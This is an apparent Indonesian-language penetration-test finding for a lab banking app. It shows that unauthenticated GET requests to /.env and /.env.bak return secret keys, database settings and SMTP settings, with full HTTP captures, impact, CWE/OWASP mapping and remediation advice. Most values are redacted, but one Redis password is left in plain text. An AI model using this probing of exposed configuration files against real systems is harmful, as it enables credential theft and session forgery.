Kerentanan
[FAIL] Sensitive Data Exposure - Web Root - Environment Files
Deskripsi
Berkas konfigurasi lingkungan .env dan salinan cadangannya .env.bak disajikan langsung dari web root tanpa autentikasi. Berkas ini memuat kunci rahasia aplikasi, secret JWT, dan kredensial database.
Dampak
Confidentiality (High): penyerang tanpa autentikasi memperoleh SECRET_KEY aplikasi, JWT_SECRET, serta host, nama, pengguna, dan password database. Dengan JWT_SECRET, token sesi apa pun dapat ditempa dengan tanda tangan yang sah, termasuk token administrator. Kredensial database memungkinkan akses langsung ke penyimpanan data bila jaringan database terjangkau.
CWE
CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory
OWASP
A05:2021 - Security Misconfiguration
Skenario
Eksploitasi: permintaan GET biasa ke /.env tanpa autentikasi -> HTTP 200 dengan isi berkas konfigurasi. Berkas cadangan /.env.bak juga tersaji, sehingga konfigurasi lama termasuk kredensial yang mungkin masih berlaku ikut terekspos.
Endpoint
GET http://127.0.0.1:5001/.env
GET http://127.0.0.1:5001/.env.bak
Fitur terdampak
Penyajian berkas statis dari web root
Rekomendasi perbaikan
- Jangan menempatkan berkas konfigurasi di dalam web root, dan jangan membuat rute yang menyajikannya.
- Blokir akses ke berkas berawalan titik dan berekstensi cadangan pada reverse proxy.
- Pindahkan rahasia ke secret manager atau variabel lingkungan yang tidak berupa berkas yang dapat disajikan.
- Rotasi SECRET_KEY, JWT_SECRET, dan kredensial database yang telah terekspos.
Bukti konsep
- (Screenshot 1) EKSPLOITASI: GET /.env tanpa autentikasi -> HTTP 200, SECRET_KEY, JWT_SECRET, dan kredensial database terekspos.
- (Screenshot 2) DAMPAK CIA: GET /.env.bak -> HTTP 200, salinan cadangan konfigurasi juga dapat diunduh publik.
Rekaman lengkap
LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.
HTTP request
GET /.env HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP response
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 571
Content-Disposition: inline; filename=".env"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:21 GMT
APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=[REDACTED-LAB-VALUE]
JWT_SECRET=[REDACTED-LAB-VALUE]
DB_HOST=vulnbank-db.internal
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_prod
DB_PASSWORD=[REDACTED-LAB-VALUE]
DATABASE_URL=postgresql://[REDACTED-LAB-USER]:[REDACTED-LAB-VALUE]@vulnbank-db.internal:5432/vulnerable_bank
REDIS_URL=redis://:VbRedis_2026!@vulnbank-cache.internal:6379/0
DEEPSEEK_API_KEY=[REDACTED-LAB-VALUE]
SMTP_HOST=mail.vulnbank.internal
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=[REDACTED-LAB-VALUE]
HTTP request
GET /.env.bak HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP response
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 494
Content-Disposition: inline; filename=".env.bak"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:22 GMT
APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=[REDACTED-LAB-VALUE]
JWT_SECRET=[REDACTED-LAB-VALUE]
DB_HOST=[REDACTED-LAB-HOST]
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_admin
DB_PASSWORD=[REDACTED-LAB-VALUE]
DATABASE_URL=postgresql://[REDACTED-LAB-USER]:[REDACTED-LAB-VALUE]@[REDACTED-LAB-HOST]:5432/vulnerable_bank
ADMIN_USERNAME=ops_admin
ADMIN_PASSWORD=[REDACTED-LAB-VALUE]
SMTP_HOST=[REDACTED-LAB-HOST]
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=[REDACTED-LAB-VALUE]
← Kasus sebelumnya: Sensitive Data Exposure - Debug Endpoint - User Credentials Kasus berikutnya: Server-Side Request Forgery - Profile Picture - Import By URL →